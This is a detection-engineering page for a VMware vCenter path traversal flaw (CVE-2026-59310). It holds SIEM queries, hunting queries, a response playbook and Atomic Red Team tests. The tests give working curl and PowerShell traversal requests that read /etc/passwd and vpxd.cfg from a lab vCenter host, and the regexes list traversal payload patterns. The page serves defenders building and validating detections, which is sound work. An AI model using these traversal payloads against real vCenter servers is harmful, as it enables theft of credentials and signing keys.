CVE-2026-59310 Sumo Logic CSE · Sumo

Detect Broadcom VMware vCenter Path Traversal (CVE-2026-59310) in Sumo Logic CSE

Detects exploitation of CVE-2026-59310, a path traversal (CWE-22) vulnerability in Broadcom VMware vCenter Server that allows unauthenticated attackers to read arbitrary files outside the intended web root by supplying crafted traversal sequences (../, encoded variants, or absolute path smuggling) in HTTP request paths and parameters. Added to the CISA KEV catalog on 2026-08-18 with active in-the-wild exploitation attributed to a suspected China-nexus actor. Detection focuses on traversal patterns in vCenter/vSphere Client HTTP requests, unexpected access to sensitive files (e.g. /etc/passwd, vpxd.cfg, SSO/STS signing keys), and anomalous file reads by the vCenter web/appliance service accounts.

MITRE ATT&CK

Tactic
Initial Access Credential Access Collection

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=*vcenter* OR _sourceCategory=*iis* OR _sourceCategory=*web/proxy*
| parse regex "(?<method>\S+)\s(?<url>\S+)\s" nodrop
| where url matches /.*(\/ui\/|\/sdk|vsphere-client|\/websso|\/analytics).*/
| where url matches /(?i).*(\.\.\/|\.\.%2f|%2e%2e|\.\.%5c|\/etc\/passwd|vpxd\.cfg|\.\.\.\.\/\/).*/
| where status_code in ("200","206","301","302")
| count by src_ip, url, status_code, http_user_agent
| sort by _count desc
critical severity medium confidence

Sumo Logic search identifying VMware vCenter web traffic with directory-traversal payloads and successful responses tied to CVE-2026-59310.

Data Sources

vCenter Access LogsIIS LogsWeb Proxy Logs

Required Tables

vcenter_accessiis_web

False Positives & Tuning

  • Sanctioned vulnerability scanner activity
  • Penetration testing engagements
  • Coincidental encoded parameters matching regex

Other platforms for CVE-2026-59310

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1vCenter path traversal probe against SDK endpoint

    Expected signal: Web/proxy and vCenter access logs record a request to /sdk or /ui containing ../ or %2e%2e traversal tokens with the atomic-test-59310 User-Agent.

  2. Test 2Double-encoded traversal against websso endpoint

    Expected signal: Access logs show a /websso request containing %252e%252e double-encoded traversal tokens.

  3. Test 3Windows PowerShell traversal request to vSphere Client

    Expected signal: IIS W3C logs record a /vsphere-client request containing ..%5c backslash traversal tokens targeting vpxd.cfg.

Last updated: 2026-08-19 Research depth: standard
References (5)

Response Playbook

Triage

  1. Confirm the target vCenter appliance version against Broadcom advisory 38017 and determine whether the CVE-2026-59310 patch is applied; unpatched + successful traversal response = high-confidence compromise.
  2. Extract the source IP(s) from the alert and check reputation/geolocation; correlate against the suspected China-nexus indicators referenced in the KEV/news reporting and internal threat intel.
  3. Identify exactly which file(s) the traversal targeted (e.g. /etc/passwd, vpxd.cfg, SSO STS signing certificate/key, ldap credentials) by decoding the request URL, and assess the sensitivity of what was potentially exfiltrated.
  4. Review whether the same source IP made follow-on authenticated requests or SSO token activity, which would indicate the leaked material was used for privilege escalation.

Containment

  1. Block the offending source IP(s) at the perimeter/WAF and restrict vCenter management-plane access (443) to a trusted admin network or jump host only.
  2. Apply the Broadcom fixed build for CVE-2026-59310 or, if patching must be delayed, deploy the vendor workaround / WAF rule blocking traversal sequences to the vCenter endpoints.
  3. If SSO/STS signing keys or vpxd credentials may have been read, rotate the affected certificates, SSO IdP signing keys, and vCenter/ESXi service-account credentials immediately.

Evidence Collection

  1. Preserve vCenter appliance HTTP access logs (/var/log/vmware/*, /storage/log), vpxd logs, and the reverse-proxy/IIS logs covering the exploitation window before rotation or reimage.
  2. Capture the full raw request/response for each traversal hit (URL, headers, User-Agent, response size/status) and snapshot the appliance filesystem for forensic timeline analysis.

Escalation Criteria

  • !Escalate to incident response and management if any traversal request returned HTTP 200/206 for a sensitive file (SSO keys, vpxd.cfg, /etc/shadow), indicating successful data exposure.
  • !Escalate to threat-intel/CISO track if follow-on activity (new admin sessions, SSO token forgery, lateral movement to ESXi hosts) is observed, as this indicates progression beyond initial file read.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >vCenter appliance HTTP access logs under /var/log/vmware/ and /storage/log showing traversal URLs with 200 responses
  • >vpxd.log and websso/STS logs showing anomalous file access or token activity
  • >Reverse-proxy/IIS W3C logs recording the source IP, User-Agent and requested traversal path
  • >Filesystem access timestamps (atime/mtime) on sensitive files such as vpxd.cfg and SSO signing certificates

Tuning Guidance

Baseline authorized vulnerability scanners and internal pentest source ranges and exclude them by src_ip to cut the dominant false-positive class. If your reverse proxy already normalizes/blocks traversal, focus the rule on successful (200/206) responses only to raise fidelity. Add your organization's vCenter hostnames/IPs to the endpoint filter to avoid matching unrelated web apps, and periodically refresh the encoded-traversal token list as new evasion variants appear.

Hunting Queries

Hunt across web/proxy logs for any decoded traversal attempts against vCenter endpoints, grouping by source IP and User-Agent to surface both successful and probing activity.

Hunting — KQL
kql 
W3CIISLog | where csUriStem has_any ("/ui/","/sdk","/websso") | extend u = strcat(csUriStem, csUriQuery) | where u matches regex @"(?i)(\.\.[/\\]|%2e%2e|%2f|etc/passwd|vpxd\.cfg)" | summarize hits=count(), files=make_set(csUriStem) by cIP, csUserAgent | where hits > 0
Hunting — SPL
spl 
index=web (uri="*vsphere*" OR uri="*/websso*" OR uri="*/sdk*") | eval d=urldecode(uri) | regex d="(?i)(\.\./|etc/passwd|vpxd\.cfg|%2e%2e)" | stats count values(d) as decoded_uris by src_ip http_user_agent

Atomic Red Team Tests

Test 1 vCenter path traversal probe against SDK endpoint
linux

Sends a crafted HTTP request with URL-encoded traversal sequences to a vCenter endpoint to simulate CVE-2026-59310 arbitrary file read of /etc/passwd.

Command

bash 
curl -sk 'https://vcenter.lab.local/sdk/../../../../../../etc/passwd' -H 'User-Agent: atomic-test-59310' -o /tmp/atomic_59310_out.txt; curl -sk 'https://vcenter.lab.local/ui/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' -H 'User-Agent: atomic-test-59310'

Cleanup

bash 
rm -f /tmp/atomic_59310_out.txt

Expected Telemetry

Web/proxy and vCenter access logs record a request to /sdk or /ui containing ../ or %2e%2e traversal tokens with the atomic-test-59310 User-Agent.

Expected Detection

KQL/SPL rules fire on the traversal pattern + vCenter endpoint match, flagging the source IP.

Test 2 Double-encoded traversal against websso endpoint
linux

Simulates evasion using double URL-encoding of traversal sequences targeting the SSO/websso service to read sensitive config.

Command

bash 
curl -sk 'https://vcenter.lab.local/websso/%252e%252e%252f%252e%252e%252fetc%252fpasswd' -H 'User-Agent: atomic-test-59310-dbl'

Cleanup

bash 
true

Expected Telemetry

Access logs show a /websso request containing %252e%252e double-encoded traversal tokens.

Expected Detection

Detection matches double-encoded %252e%252e variants; if a normalizing proxy is present it may already decode to single-encoded form.

Test 3 Windows PowerShell traversal request to vSphere Client
windows

Uses PowerShell Invoke-WebRequest to send a backslash-style traversal payload against a Windows-hosted vCenter/vSphere Client to simulate CVE-2026-59310.

Command

powershell 
powershell -Command "[Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; Invoke-WebRequest -Uri 'https://vcenter.lab.local/vsphere-client/..%5c..%5c..%5cProgramData%5cVMware%5cvCenterServer%5ccfg%5cvmware-vpx%5cvpxd.cfg' -Headers @{'User-Agent'='atomic-test-59310-win'} -UseBasicParsing -OutFile C:\Windows\Temp\atomic59310.txt"

Cleanup

powershell 
powershell -Command "Remove-Item -Force C:\Windows\Temp\atomic59310.txt -ErrorAction SilentlyContinue"

Expected Telemetry

IIS W3C logs record a /vsphere-client request containing ..%5c backslash traversal tokens targeting vpxd.cfg.

Expected Detection

Detection matches ..%5c backslash-encoded traversal variants against vCenter endpoints.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0006Credential AccessTA0009Collection

Related Techniques

T1190Exploit Public-Facing ApplicationT1083File and Directory DiscoveryT1552.004Private Keys

Same Tactic: Initial Access

Popular Detections